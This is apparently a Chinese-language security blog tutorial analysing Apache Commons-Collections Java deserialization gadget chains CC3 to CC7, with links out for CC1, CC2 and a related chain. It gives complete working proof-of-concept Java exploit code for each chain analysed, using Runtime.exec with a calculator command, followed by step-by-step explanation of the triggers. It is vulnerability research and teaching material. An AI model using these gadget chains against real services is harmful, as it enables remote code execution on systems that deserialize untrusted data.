0x00 前言

前面分析了CommonsCollections 1,2 这几天正好放假把剩下的看看完好了 ,其实cc1 和 cc2 看明白之后看后面的应该很快了

由于后面很多条都是前面的组合,所以建议先把 cc(p牛那条),cc1 和 cc2 先看明白之后看后面的会流畅很多

文章篇幅较长,希望能帮助到师傅们,同时如有错误还望师傅们斧正

0x01 CommonsCollections

这条是p牛在知识星球中提到的那条

利用版本

CommonsCollections 3.1 - 3.2.1

限制

JDK版本:1.7 (8u71之后已修复不可利用)

分析

文章链接:https://mp.weixin.qq.com/s?__biz=Mzg3OTU3MzI4Mg==&mid=2247483769&idx=1&sn=48eba9031c5fcc2f10d6f830fdd28eeb&chksm=cf032134f874a822ac197cbe3d91d745caa1f6e0cc7d74d1c188147468f6faf00e5a89f297a0&token=1815809254&lang=zh_CN#rd

0x02 CommonsCollections1

利用版本

CommonsCollections 3.1 - 3.2.1

限制

JDK版本:1.7 (8u71之后已修复不可利用)

分析

文章链接:https://mp.weixin.qq.com/s?__biz=Mzg3OTU3MzI4Mg==&mid=2247483788&idx=1&sn=4af047b7c2b9e0ab36e4e19999788153&chksm=cf0321c1f874a8d74f952501708500b755f63c1600e91e7048910a0ec3be8afb85d12b1da3a4&token=1815809254&lang=zh_CN#rd

0x03 CommonsCollections2

利用版本

CommonsCollections 4.0

限制

JDK版本:暂无限制

分析

文章链接:https://mp.weixin.qq.com/s?__biz=Mzg3OTU3MzI4Mg==&mid=2247483897&idx=1&sn=b8d6b00abc2c8be1abafd30814f9f9d6&chksm=cf0321b4f874a8a2a6e1983a4f8023f25e41ba9779d10188581cd9218f7a18ec74b298f7cc94&token=1815809254&lang=zh_CN#rd

0x04 CommonsCollections3

利用版本

CommonsCollections 3.1 - 3.2.1

限制

JDK版本:1.7 (8u71之后已修复不可利用)

Poc

  1. import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
  2. import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
  3. import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
  4. import javassist.ClassClassPath;
  5. import javassist.ClassPool;
  6. import javassist.CtClass;
  7. import org.apache.commons.collections.Transformer;
  8. import org.apache.commons.collections.functors.ChainedTransformer;
  9. import org.apache.commons.collections.functors.ConstantTransformer;
  10. import org.apache.commons.collections.functors.InstantiateTransformer;
  11. import org.apache.commons.collections.functors.InvokerTransformer;
  12. import org.apache.commons.collections.map.LazyMap;
  13. import javax.xml.transform.Templates;
  14. import java.io.FileInputStream;
  15. import java.io.FileOutputStream;
  16. import java.io.ObjectInputStream;
  17. import java.io.ObjectOutputStream;
  18. import java.lang.reflect.Constructor;
  19. import java.lang.reflect.Field;
  20. import java.lang.reflect.InvocationHandler;
  21. import java.lang.reflect.Proxy;
  22. import java.util.HashMap;
  23. import java.util.Map;
  24. public class cc3 {
  25. public static void main(String[] args) throws Exception {
  26. ClassPool pool = ClassPool.getDefault();
  27. pool.insertClassPath(new ClassClassPath(AbstractTranslet.class));
  28. CtClass cc = pool.makeClass("Cat");
  29. String cmd = "java.lang.Runtime.getRuntime().exec(\"open /System/Applications/Calculator.app\");";
  30. cc.makeClassInitializer().insertBefore(cmd);
  31. String randomClassName = "EvilCat" + System.nanoTime();
  32. cc.setName(randomClassName);
  33. cc.setSuperclass(pool.get(AbstractTranslet.class.getName())); //设置父类为AbstractTranslet,避免报错
  34. byte[] classBytes = cc.toBytecode();
  35. byte[][] targetByteCodes = new byte[][]{classBytes};
  36. TemplatesImpl templates = TemplatesImpl.class.newInstance();
  37. setFieldValue(templates, "_bytecodes", targetByteCodes);
  38. setFieldValue(templates, "_name", "name");
  39. setFieldValue(templates, "_class", null);
  40. ChainedTransformer chain = new ChainedTransformer(new Transformer[] {
  41. new ConstantTransformer(TrAXFilter.class),
  42. new InstantiateTransformer(new Class[]{Templates.class},new Object[]{templates})
  43. });
  44. HashMap innermap = new HashMap();
  45. LazyMap map = (LazyMap)LazyMap.decorate(innermap,chain);
  46. Constructor handler_constructor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructor(Class.class, Map.class);
  47. handler_constructor.setAccessible(true);
  48. InvocationHandler map_handler = (InvocationHandler) handler_constructor.newInstance(Override.class,map);
  49. Map proxy_map = (Map) Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(),new Class[]{Map.class},map_handler);
  50. Constructor AnnotationInvocationHandler_Constructor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructor(Class.class,Map.class);
  51. AnnotationInvocationHandler_Constructor.setAccessible(true);
  52. InvocationHandler handler = (InvocationHandler)AnnotationInvocationHandler_Constructor.newInstance(Override.class,proxy_map);
  53. try{
  54. ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("./cc3"));
  55. outputStream.writeObject(handler);
  56. outputStream.close();
  57. ObjectInputStream inputStream = new ObjectInputStream(new FileInputStream("./cc3"));
  58. inputStream.readObject();
  59. }catch(Exception e){
  60. e.printStackTrace();
  61. }
  62. }
  63. public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception {
  64. final Field field = getField(obj.getClass(), fieldName);
  65. field.set(obj, value);
  66. }
  67. public static Field getField(final Class<?> clazz, final String fieldName) {
  68. Field field = null;
  69. try {
  70. field = clazz.getDeclaredField(fieldName);
  71. field.setAccessible(true);
  72. }
  73. catch (NoSuchFieldException ex) {
  74. if (clazz.getSuperclass() != null)
  75. field = getField(clazz.getSuperclass(), fieldName);
  76. }
  77. return field;
  78. }
  79. }

分析

从上面的 Poc 中不难看出 cc3 其实就是 cc1 和 cc2 的结合(Poc 上半部分为 cc2 下半部分为 cc1),利用 templates 加载字节码进行触发,但是有些细节上还是有些不一样

在 cc3 中使用的是 InstantiateTransformer 而不是之前的 InvokerTransformer,同时传入的类变为了 TrAXFilter.class

Commons-Collections 1-7 分析 - 图1

我们先去看一下 TrAXFilter 这个类,发现在构造函数传入的参数为 Templates 类,同时在构造函数内部会调用 templates.newTransformer() ,newTransformer 应该都很熟悉了,调用该函数就会触发 Templates 加载恶意字节码从而代码执行

Commons-Collections 1-7 分析 - 图2

接下来我们看一下 InstantiateTransformer ,发现在该类的 transform 方法中会获取传入类的构造函数,然后调用构造函数进行实例化

Commons-Collections 1-7 分析 - 图3

Commons-Collections 1-7 分析 - 图4

这样通过结合 javasist 动态生成的恶意类,我们的上班部分就完成了

ps:由于上半部分和 cc2 中大致相同,可以去看上文 cc2 中的文章链接

Commons-Collections 1-7 分析 - 图5

下半部部分就是我们需要找到一个类中的某个方法会调用 transform,利用了 LazyMap 中的 get方法 (下半部分和 cc1 中相似,具体可以看 cc1 的文章 这里不重复分析了)

Commons-Collections 1-7 分析 - 图6

Commons-Collections 1-7 分析 - 图7

0x05 CommonsCollections4

利用版本

CommonsCollections 4.0

限制

JDK版本:暂无限制

Poc

import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import javassist.*;
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InstantiateTransformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Field;
import java.util.PriorityQueue;

public class cc4 {
    public static void main(String[] args) throws Exception {

        ClassPool pool = ClassPool.getDefault();
        pool.insertClassPath(new ClassClassPath(AbstractTranslet.class));
        CtClass cc = pool.makeClass("Cat");
        String cmd = "java.lang.Runtime.getRuntime().exec(\"open  /System/Applications/Calculator.app\");";
        // 创建 static 代码块,并插入代码
        cc.makeClassInitializer().insertBefore(cmd);
        String randomClassName = "EvilCat" + System.nanoTime();
        cc.setName(randomClassName);
        cc.setSuperclass(pool.get(AbstractTranslet.class.getName())); //设置父类为AbstractTranslet,避免报错
        // 写入.class 文件
        byte[] classBytes = cc.toBytecode();
        byte[][] targetByteCodes = new byte[][]{classBytes};
        TemplatesImpl templates = TemplatesImpl.class.newInstance();
        setFieldValue(templates, "_bytecodes", targetByteCodes);
        // 进入 defineTransletClasses() 方法需要的条件
        setFieldValue(templates, "_name", "name");
        setFieldValue(templates, "_class", null);

        /**
         * TrAXFilter 构造函数能直接触发 所以不用利用 invoke 那个
         */
        ChainedTransformer chain = new ChainedTransformer(new Transformer[] {
                new ConstantTransformer(TrAXFilter.class),
                new InstantiateTransformer(new Class[]{Templates.class},new Object[]{templates})
        });

        TransformingComparator comparator = new TransformingComparator(chain);
        PriorityQueue queue = new PriorityQueue(2,comparator);

        Field size = Class.forName("java.util.PriorityQueue").getDeclaredField("size");
        size.setAccessible(true);
        size.set(queue,2);

        Field comparator_field = Class.forName("java.util.PriorityQueue").getDeclaredField("comparator");
        comparator_field.setAccessible(true);
        comparator_field.set(queue,comparator);

        try{
            ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("./cc4"));
            outputStream.writeObject(queue);
            outputStream.close();

            ObjectInputStream inputStream = new ObjectInputStream(new FileInputStream("./cc4"));
            inputStream.readObject();
        }catch(Exception e){
            e.printStackTrace();
        }
    }

    public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception {
        final Field field = getField(obj.getClass(), fieldName);
        field.set(obj, value);
    }

    public static Field getField(final Class<?> clazz, final String fieldName) {
        Field field = null;
        try {
            field = clazz.getDeclaredField(fieldName);
            field.setAccessible(true);
        }
        catch (NoSuchFieldException ex) {
            if (clazz.getSuperclass() != null)
                field = getField(clazz.getSuperclass(), fieldName);
        }
        return field;
    }
}

分析

cc4 其实就是 cc2 和 cc3 的结合,但是其实仔细看了看其实有的细节还是有细微的区别

在 cc4 中并没有用 cc2 中的 InvokerTransformer 而是用了 cc3 中的 InstantiateTransformer,链构造好了后面只要找到能调用 transform 的地方就行了

Commons-Collections 1-7 分析 - 图8

这里利用 TransformingComparator#compare 来触发我们的 ChainedTransformer

Commons-Collections 1-7 分析 - 图9

Commons-Collections 1-7 分析 - 图10

具体的在 cc2 中分析过 故这里不再重复赘述

这里重点来说说和 cc2 和 cc4 中后半部分的差异

左边是 cc2 右边是 cc4 ,为什么这里 cc2 一定要有红框处的代码而 cc4 不需要呢

Commons-Collections 1-7 分析 - 图11

因为在 cc2 中利用的是 InvokerTransformer#transform 反射调用 newTransformer 方法,下面的代码将我们的恶意 templates 类进行传入(这里一定要放第一个,具体往下看)

Object[] queue_array = new Object[]{templates,1};

Commons-Collections 1-7 分析 - 图12

上面传入的 templates 会作为 obj1 参数进行传入,这里的 obj1 类似 method.invoke(Object) 中的 Object

Commons-Collections 1-7 分析 - 图13

如果我们删去之后看看 compare 这里是怎么样的,我们将传入的 templates 改为1

Commons-Collections 1-7 分析 - 图14

自然 obj1 也变为了 1 ,没有了 Templates 类自然无法触发了

Commons-Collections 1-7 分析 - 图15

那么为什么 cc4 中可以呢 ?因为我们是利用 TrAXFilter 构造函数中的红框部分进行触发的

Commons-Collections 1-7 分析 - 图16

我们看到 compare 部分,发现此时传入的为 null

Commons-Collections 1-7 分析 - 图17

但是下一步就会进入到 TrAXFilter 的构造函数 从而触发

Commons-Collections 1-7 分析 - 图18

0x06 CommonsCollections5

利用版本

CommonsCollections 3.1 - 3.2.1

限制

JDK版本:暂无

Poc

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import org.apache.commons.collections.keyvalue.TiedMapEntry;

import javax.management.BadAttributeValueExpException;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.HashMap;

public class cc5 {
    public static void main(String[] args) throws ClassNotFoundException, NoSuchFieldException, IllegalAccessException {
        ChainedTransformer chain = new ChainedTransformer(new Transformer[] {
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[] {
                        String.class, Class[].class }, new Object[] {
                        "getRuntime", new Class[0] }),
                new InvokerTransformer("invoke", new Class[] {
                        Object.class, Object[].class }, new Object[] {
                        null, new Object[0] }),
                new InvokerTransformer("exec",
                        new Class[] { String.class }, new Object[]{"open  /System/Applications/Calculator.app"})});
        HashMap innermap = new HashMap();
        LazyMap map = (LazyMap)LazyMap.decorate(innermap,chain);
        TiedMapEntry tiedmap = new TiedMapEntry(map,123);
        BadAttributeValueExpException poc = new BadAttributeValueExpException(1);
        Field val = Class.forName("javax.management.BadAttributeValueExpException").getDeclaredField("val");
        val.setAccessible(true);
        val.set(poc,tiedmap);

        try{
            ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("./cc5"));
            outputStream.writeObject(poc);
            outputStream.close();

            ObjectInputStream inputStream = new ObjectInputStream(new FileInputStream("./cc5"));
            inputStream.readObject();
        }catch(Exception e){
            e.printStackTrace();
        }
    }
}

分析

前半段还是 cc1 的部分所以这里我们也不再赘述了,我们直接来分析后半段,后半段就是为了通过其他类中的方法来调用上半部分 chain 中的 transform 方法从而触发命令执行

首先还是老样子利用 LazyMap#decorate

Commons-Collections 1-7 分析 - 图19

LazyMap#get 中会调用 transform 的方法

这样我们可以通过 map.get 来进行触发,但是利用范围不够大我们需要找其他类中的方法会调用 map.get 的

Commons-Collections 1-7 分析 - 图20

找到一个可以 TiedMapEntry#getValue ,那么我们来看一下 map 是否可控

Commons-Collections 1-7 分析 - 图21

发现通过构造函数可设置 this.map

Commons-Collections 1-7 分析 - 图22

那么接下来我们就需要去找调用了 getValue 的方法 ,刚刚好 TiedMapEntry#toString 会进行调用

这样我们可以通过 toString() 来触发从而执行命令,但是这样还不够最好 readObject 的时候就会触发

Commons-Collections 1-7 分析 - 图23

继续寻找类,要求是要掉入传入参数的 toString 方法 ,发现在 BadAttributeValueExpException#readObject 方法中好像有希望

会调用get函数获取 val 的值然后赋给 valObj ,然后在符合 else if 的情况下就会调用 toString

Commons-Collections 1-7 分析 - 图24

val 可以通过反射修改 ,同时 System.getSecurityManager() 返回值也默认为 null ,这样我们就可以进入 else if 从而触发代码了

Commons-Collections 1-7 分析 - 图25

BadAttributeValueExpException poc = new BadAttributeValueExpException(1);
Field val = Class.forName("javax.management.BadAttributeValueExpException").getDeclaredField("val");
val.setAccessible(true);
val.set(poc,tiedmap);

但是我们可以发现这里的构造函数可以直接传参,并且直接调用 toString,那么为什么我们不能直接传入而要使用反射呢?

Commons-Collections 1-7 分析 - 图26

Commons-Collections 1-7 分析 - 图27

如果我们直接在构造函数直接传入的话,那么我们在生成 payload 的时候就会 触发我们的 RCE

Commons-Collections 1-7 分析 - 图28

这样在反序列化时 val 已经是 UNIXProcess 了,就不是我们预期的类了,自然不会进入 else if 判断 ,从而不会在服务端触发 RCE 了

Commons-Collections 1-7 分析 - 图29

说的简单点就是,通过构造函数传入会在我们本地进行一次 RCE ,之后 val 值就会改变就会导致服务端在反序列化时无法触发 RCE

0x07 CommonsCollections6

利用版本

CommonsCollections 3.1 - 3.2.1

限制

JDK版本:暂无限制

Poc

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import org.apache.commons.collections.keyvalue.TiedMapEntry;

import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.HashSet;
import java.util.Map;
import java.util.Set;

public class cc6 {

    public static void main(String[] args) throws ClassNotFoundException, NoSuchFieldException, IllegalAccessException {
        ChainedTransformer chain = new ChainedTransformer(new Transformer[] {
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[] {
                        String.class, Class[].class }, new Object[] {
                        "getRuntime", new Class[0] }),
                new InvokerTransformer("invoke", new Class[] {
                        Object.class, Object[].class }, new Object[] {
                        null, new Object[0] }),
                new InvokerTransformer("exec",
                        new Class[] { String.class }, new Object[]{"open  /System/Applications/Calculator.app"})});

        HashMap innermap = new HashMap();
        LazyMap map = (LazyMap)LazyMap.decorate(innermap,chain);

        TiedMapEntry tiedmap = new TiedMapEntry(map,123);

        HashSet hashset = new HashSet(1);
        hashset.add("foo");

        Field field = Class.forName("java.util.HashSet").getDeclaredField("map");
        field.setAccessible(true);
        HashMap hashset_map = (HashMap) field.get(hashset);

        Field table = Class.forName("java.util.HashMap").getDeclaredField("table");
        table.setAccessible(true);
        Object[] array = (Object[])table.get(hashset_map);

        Object node = array[0];
        if(node == null){
            node = array[1];
        }

        Field key = node.getClass().getDeclaredField("key");
        key.setAccessible(true);
        key.set(node,tiedmap);

        try{
            ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("./cc6"));
            outputStream.writeObject(hashset);
            outputStream.close();

            ObjectInputStream inputStream = new ObjectInputStream(new FileInputStream("./cc6"));
            inputStream.readObject();
        }catch(Exception e){
            e.printStackTrace();
        }
    }
}

分析

同样的 Poc 的前半部分都是相同的可以看上文,我们重点来分析后半部分,其实链很简单,但是在实现过程中有点绕

Commons-Collections 1-7 分析 - 图30

在 cc6 中同样使用了 TiedMapEntry ,在 cc5 中说到 TiedMapEntry#getValue 会调用 map.get() 同时 map 可控,所以只要调用了 getValue 我们就可以进一步利用,cc5 中用的是 toString,在 cc6 中用的是 hashCode

Commons-Collections 1-7 分析 - 图31

现在我们通过调用 hashCode 就可以触发,但是同样的这样利用范围不够大,我们希望的是反序列化直接进行触发,在 cc6 中利用了 HashSet 和 HashMap,我们先来看 HashMap ,在上文也有提到过 HashMap#put 会对我们传入的 key 取对应的 hash 值

Commons-Collections 1-7 分析 - 图32

跟进发现会调用 key 的 hashCode 方法,那么如果我们 key能可控就可以进行触发

Commons-Collections 1-7 分析 - 图33

所以现在我们需要找到符合如下条件的点

  1. 调用了 HashMap#put
  2. 传入的key可控

在 cc6 中用到了 HashSet,在 HashSet#readObject 中会对我们的输入流直接进行反序列化,我们对应去看 writeObject 查看是否可控

Commons-Collections 1-7 分析 - 图34

在 writeObject 方法中,如果我们能够控制 map 中的 key,那么我们就能控制 s

Commons-Collections 1-7 分析 - 图35

既然 s 可控了,则这里的 e 也可控了,那么就符合了我们的条件,最终服务端触发我们的RCE

Commons-Collections 1-7 分析 - 图36

接下来我们来分析一下下部分的代码,因为当初在学习过程中发现有点晦涩

第一个红框处主要是利用反射获取我们的 HashSet 的 map 属性,因为我们要先获取到 map 才能对 map 的 key 进行修改

第二个红框处则是修改我们 HashMap 中的 key 值为 hashset

在这里利用反射获取了 HashMap 中的 table 属性,table其实就是hashmap的存储底层,将 封装在了 Node 对象中,在获取到了 table 中的 key 之后,利用反射修改其为 hashset

Commons-Collections 1-7 分析 - 图37

0x08 CommonsCollections7

利用版本

CommonsCollections 3.1 - 3.2.1

限制

JDK版本:暂无限制

Poc

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import org.apache.commons.collections.keyvalue.TiedMapEntry;

import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.*;

public class cc7 {

    public static void main(String[] args) throws Exception {
        Transformer transformerChain = new ChainedTransformer(new Transformer[]{});
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod",
                        new Class[]{String.class, Class[].class},
                        new Object[]{"getRuntime", new Class[0]}),
                new InvokerTransformer("invoke",
                        new Class[]{Object.class, Object[].class},
                        new Object[]{null, new Object[0]}),
                new InvokerTransformer("exec",
                        new Class[]{String.class}, new Object[]{"open  /System/Applications/Calculator.app"})
        };

        Map innerMap1 = new HashMap();
        Map innerMap2 = new HashMap();

        Map lazyMap1 = LazyMap.decorate(innerMap1, transformerChain);
        lazyMap1.put("yy", 1);

        Map lazyMap2 = LazyMap.decorate(innerMap2, transformerChain);
        lazyMap2.put("zZ", 1);

        Hashtable hashtable = new Hashtable();
        hashtable.put(lazyMap1, 1);
        hashtable.put(lazyMap2, 2);

        Field field =transformerChain.getClass().getDeclaredField("iTransformers");
        field.setAccessible(true);
        field.set(transformerChain,transformers);

        lazyMap2.remove("yy");

        try{
            ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("./cc7"));
            outputStream.writeObject(hashtable);
            outputStream.close();

            ObjectInputStream inputStream = new ObjectInputStream(new FileInputStream("./cc7"));
            inputStream.readObject();
        }catch(Exception e){
            e.printStackTrace();
        }

    }
}

分析

前半部分还是一样因为不再赘述,在 cc7 的后半段中直接利用 AbstractMap#equals 来触发 LazyMap#get

首先在 Hashtable#readObject 中的 reconstitutionPut,key 和 value 是我们输入流的反序列化,暂时先不管我们先跟进该函数

Commons-Collections 1-7 分析 - 图38

在该方法中调用了 AbstractMap#equals

Commons-Collections 1-7 分析 - 图39

跟进 AbstractMap#equals 方法,发现在红框处的 m 其实就是我们之前传入的 key,所以 m 如果可控的话,我们就可以触发LazyMap#get 从而 RCE

Commons-Collections 1-7 分析 - 图40

回到 Hashtable#readObject 中,既然 key 是通过我们的输入流反序列化而来,那么我们就去跟进一下Hashtable#writeObject

Commons-Collections 1-7 分析 - 图41

来到我们的 writeObject 函数,红框中的数值其实就是我们通过 put 添加进去的

Commons-Collections 1-7 分析 - 图42

接下来我们看一下 Poc 中后半部分是如何实现的

按照上面的思路我们只需要把 lazymap put到我们的 hashtable 中就可以了,那为什么 Poc 后半部分要做那么多看似多余的操作呢?

Commons-Collections 1-7 分析 - 图43

我们一个个来分析

1.为什么这里 hashtable 要 put 两次

第一次调用 put 的时候会把 key 和 value 存入 tab 中(这里的 tab 就是 reconstitutionPut 函数传入的 table),在第一次 put 的时候由于 tab 的内容为 null 导致不会进入 for 循环,所以自然就不会执行 equals ,在第二个红框处会先将我们的值存入 tab

Commons-Collections 1-7 分析 - 图44

由于第一次 put 将数值存入了 tab ,所以第二次 put 时就会进入 for 循环,来到我们的触发点

ps:其实第二次的 put 就是为了进入这里的 for 循环

Commons-Collections 1-7 分析 - 图45

2.为什么 Poc 中要反射来对我们的 ChainedTransformer 进行赋值

Commons-Collections 1-7 分析 - 图46

在以前的 Poc 中我们都是直接将 transformers 作为参数进行传入的,为什么这里不行

Commons-Collections 1-7 分析 - 图47

如果我们用上面的代码尝试生成的话,可以发现在 Hashtable#put 中也会调用到 AbstractMap#equals 从而触发 LazyMap#get 导致我们在生成 payload 的时候就本地执行了一次 RCE ,不过在这里并不会影响后面反序列化的触发,相当于这样的话一共会触发两次 一次在客户端一次在服务端,但是为了减少干扰我们还是利用反射最后进行赋值这样我们本地在生成 payload 的时候就不会触发 RCE 了

Commons-Collections 1-7 分析 - 图48

3.为什么 put 的值一定要 yy 和 zZ

同样的还是 reconstitutionPut 函数里的问题,前面说到我们会 put 两次,那么自然 index 这里计算也会进行两次,那么如果第一次和第二次计算出来的 hash 值不同,那么 index 就会不同,就会导致在第二次中 tab 中会找不到值,从而 e 为 null,自然不会进入 for 循环,就不会触发 RCE

Commons-Collections 1-7 分析 - 图49

所以我们需要控制两次 put 进的 hashCode 值为相同,在 Poc 中传入的是 yy 和 zZ,那么为什么这里 yy 和 zZ 可以呢?这其实算是一个小bug?

在 java 中这两者的 hashCode 是相同的

Commons-Collections 1-7 分析 - 图50

那么看到这里有可能又会想到为什么这里不能传入相同的两个值呢?

如果传入了相同的值,则 Hashtable#readObject 中的 elements 便会为 1

Commons-Collections 1-7 分析 - 图51

elements 为 1 那么自然循环只会进行一次,reconstitutionPut 也就只会被调用一次,前面说到过我们需要第二次调用 reconstitutionPut 函数才会触发,所以这就是为什么我们传入的值不能相同的原因

Commons-Collections 1-7 分析 - 图52

4.为什么最后要 remove ,而且为什么这里 remove(“yy”)

首先来说一下为什么最后要 remove ,因为在 AbstractMap#equals 这里的 size() 等于 1,而我们不remove的话 m.size() 就为2 这样的话就不等于来,直接返回 false,导致无法进入到后面

Commons-Collections 1-7 分析 - 图53

那么为什么要 remove(“yy”),这里我们需要从 writeObject 中进行查看,在生成 payload 时,当我们利用 put 放入的时候会调用 equals,从而也会触发一次 AbstractMap#equals

Commons-Collections 1-7 分析 - 图54

跟进查看,继续跟进到我们的 LazyMap#get

Commons-Collections 1-7 分析 - 图55

发现我们在生成 payload 的过程中,调用 this.factory.transform 的时候 ,由于我们是反射进行赋值的,所以这里只有一个空的 Transformer数组,同时传入的 key 为 yy,所以这里只会返回 yy,也就是这里的 value 是 yy (此处感谢 Mrkaixin 师傅的解惑)

Commons-Collections 1-7 分析 - 图56

看到这里大家应该就知道了,相当于在我们生成 payload 会多出来一个 yy,然后我们需要 remove 掉这个 yy,不然的话就会进入上面说的 AbstractMap#equals 中的 if 判断那段,从而导致无法进入到我们的出发点

Commons-Collections 1-7 分析 - 图57

0x09 总结

至此 cc 1-7 就全部分析完了,看完之后也学到了很多,其实 cc 并没有外面说的那么复杂难懂,不过需要耐心的调试

0x10 参考链接

https://paper.seebug.org/1242(ps:非常感谢这篇文章,但是文章中有的小地方有错误希望师傅们看的时候注意)